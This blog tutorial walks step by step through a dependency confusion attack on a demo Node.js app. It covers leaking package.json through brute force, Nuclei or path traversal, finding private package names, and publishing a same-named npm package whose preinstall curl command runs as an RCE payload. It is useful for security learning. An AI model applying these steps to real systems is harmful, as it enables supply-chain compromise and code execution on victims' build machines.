Exploiting Dependency Confusion

This blog is a step by step guide to exploit a demo application vulnerable to Dependency Confusion attack.

This blog is not about what dependency confusion is, you can read about that here.

Introduction to demo app

Our demo application is a simple app with only Backend and Frontend. The Frontend allows users to input a string which is sent to backend and checked against XSS payload in it. Backend checks if string from frontend has XSS payload in it or not and relay response back to Frontend.

Backend

Backend is running at http://demo-app.com:1337.

There is an API endpoint http://demo-app.com:1337/?text=PAYLOAD that checks for XSS payload in it.

Frontend

Frontend is running at http://demo-app.com:3000

The Frontend takes a query parameter “text”. It then hits the backend API with that query parameter text, looks for XSS in that text, and displays the result backe on screen (see below)

Overview Dependency Confusion

To Find if an application is vulnerable to Dependency confusion, our first step is to find as much as possible external packages used in the web application.

What are packages?

We can think of packages as Developers sharing code with other developers for reuse.

Public vs Private Registry

Suppose a developer develops a mongo database wrapper to enable MongoDB connection. If he wantes to avail this package to other developers, he can make a package and publish it to an public registry(central repository) and other developers can reuse it.

In case you do not want to share your package with everyone in the world and keep it secret to people in your organization you can host your packages on a private organization registry and only people in your organization can use it. For example. Let’s say you have a custom authentication process that you think everyone can use in your company. Making it public will not be a good idea. So you can always host a private registry and host your private packages there. You can read more here

Exploiting demo app

Our primary objective as an attacker is to find as many packages as possible used in Frontend/Backend and find the ones that are private to the organization. Once we know all private packages, we can host them on npm and the web application will download our package instead of the private package(that’s how this vulnerability works. It first looks at public registry and then private registry).

Step 1

Find Packages installed in backend application. For this we will need to leak the package.json file somehow. Some ways to do it:

  • Directory brute force for sensitive information leak
    • http://site.com/.git can leak full source
    • http://site.com/package.json try reading package.json directly
    • http://site.com/package-lock.json try reading package-lock.json directly. It also contains information about packages installed.
  • Using Nuclei template. Nuclei has numerous template for sensitive information leak.
    • RUN nuclei -t ./nuclei-templates/exposures/configs/package-json.yaml -u http://demo-app.com:1337
  • Leaking application’ source code. If application is vulnerable to Local file disclosure, we can use it to leak package.json
    • http://site.com/?file=../../../package.json
  • OSINT
    • If its an open source app, you can try finding the source code on GitHub and other places. If we get application’s source code, we can extract package.json from it

etc.. The Objective here is to use your hacker instinct to find the leak and get the information about packages installed.

Following the above steps, running dirsearch on our demo application backend(http://demo-app:1337/) show’s the following result:

So we can see that package.json file is exposed. It lists the following packages installed.

Step 2

Find packages installed in the Frontend application. Follow the following steps:

  • Reviewing frontend source code and looking for imported packages. Look for the term require() or import in the source code

  • Frontend Application might be returning node_modules folders back to the user. Applications usually do that in debug mode

etc.. Again, the goal is to use your hacker instincts and find the packages.

Step 3

List all the packages

  • Frontend
    • react
    • ez-get-url-params [looks suspecious]
    • react-dom
    • react-refresh
    • url …
  • Backend
    • body-parser
    • express
    • xss-finder-0xsapra [looks suspecious]

Step 4

Now that we have a list of all the packages used in the application, the next step is to find which one of them is NOT on npm. We can simply do this by visiting https://www.npmjs.com/ and search for the package name.

So 2 packages which I can’t find are:

  • xss-finder-0xsapra

  • ez-get-url-params

Meaning these are private packages.

Step 5

Upload the package with similar name xss-finder-0xsapra or ez-get-url-params on NPM(with preinstall scripts to get RCE). Here are steps to upload xss-finder-0xsapra and perform the attack chain

  • git clone https://github.com/0xsapra/dependency-confusion-expoit
  • cd dependency-confusion-expoit
  • Edit package.json following fields
    • Change module name from "name": "your-module-name", to "name": "xss-finder-0xsapra",.
    • Change Version from "version": "1.0.0", to "version": "1.0.0",
      • Th leaked package.json shows xss-finder-0xsapra is at version 1.0.0 so we use that same version
    • Change preinstall script from "preinstall": "curl http://yoursite.co.m" to "preinstall": "curl http://yoursite.com"
      • preinstall is the bash command that gets executed. Put your RCE payload here After Editing, the package.json should look like:
  • After editing package.json, next step is to upload this package to npm. To do this you can follow the steps from https://zellwk.com/blog/publish-to-npm/ . Here’s the same steps:
    • Login/Signup into npm from https://www.npmjs.com/signup
    • Open terminal/bash and login into npm public registry from terminal using npm login command
    • Run npm publish . in terminal and it will publish xss-finder-0xsapra to npm
  • You can now find the package uploaded on https://npmjs.com

Step 6

Now whenever backend code will run npm install it will install our package instead and run the preinstall script (curl command in our case).

Conslusion

Following the above 6 steps, you should be able to properly test an application against dependency confusion vulnerability.

Nuclei have a template here which you can use to find package.json file.

I hope this helps. Thanks for reading Special thanks to madrobot for proof reading and helping me write this blog.